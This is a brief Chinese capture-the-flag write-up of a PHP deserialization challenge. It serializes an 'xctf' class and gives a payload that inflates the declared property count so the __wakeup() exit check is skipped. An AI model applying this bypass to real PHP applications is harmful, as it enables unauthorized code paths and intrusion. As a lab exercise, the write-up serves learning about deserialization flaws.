步驟
打開所給場景
發現給了一段代碼,發現有一個類,還有一個疑似get傳參的參數code,嘗試一下傳參:
發現可以傳入參數,而且類不再顯示,并且提醒我們不能傳數字,大膽猜想一下想要傳遞的值為序列化後的字元串
ok,我們将xctf類進行序列化:
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
echo serialize(new xctf());
?>
得到序列化字元串:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
傳入試試:
發現輸出了bad requests,分析源碼可知:是調用了
__wakeup()
魔術方法退出了程式,而它會在反序列化之前自動調用,是以我們要繞過它,很簡單,前面做過類似的題目(Web_php_unserialize),隻需要讓序列化之後字元串的屬性值大于實際數目即可繞過
payload:
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
成功拿到flag~
總結
考察php反序列化以及php魔術方法的了解